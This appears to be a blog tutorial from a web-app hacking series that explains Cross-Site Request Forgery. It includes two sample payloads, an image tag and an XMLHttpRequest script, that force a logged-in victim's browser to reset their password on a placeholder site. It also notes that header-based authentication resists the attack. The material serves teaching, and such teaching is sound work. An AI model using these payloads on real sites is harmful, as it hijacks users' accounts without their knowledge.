Week 5 - CSRF Explanation
Last updated
Last updated
It’s week 5 of the Web App Hacking series! Due to popular demand from my last post, this week I will be covering Cross-Site Request Forgery (CSRF) attacks.
The purpose of a CSRF attack is to cause a Server-Side state change within the application. In other words, we want to change data being stored by the website. For example, if LinkedIn was vulnerable to CSRF attacks, you would be able to create a post on behalf of another user (or I could force you to like this post :p).
Now that you understand the concept, lets dig into how it works. Let’s say an attacker hosts some HTML code and tricks a user into visiting their website. The below payload shows a basic CSRF attack through a GET request to reset a user’s password within the target_url website:
<img src=”http:/target_url/reset_account_password.php?new_password=test&confirm_new_password=test”/>
The above payload will issue a GET request to target_url on behalf of the user whose browser it rendered in. Since the user is already logged in at target_url, it will be treated as an authenticated request (since browser requests automatically include all cookies) and will reset the victim user’s password to ‘test’. If the vulnerable password reset feature instead uses a POST request, we can use the following payload:
<script>
//Declare the target URL and POST data
var url = "http:/target_url/reset_account_password.php";
var params = "new_password=test&confirm_new_password=test";
//Create the request
var CSRF = new XMLHttpRequest();
//Set request options
CSRF.open("POST", url, true);
//Tell browser to include cookies
CSRF.withCredentials = 'true';
CSRF.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//Send the request
CSRF.send(params);
</script>
It's interesting to note that if the application uses an ‘Authorization’ header to authenticate rather than a cookie, it is not vulnerable to CSRF attacks. This is because the browser cannot set an Authorization token.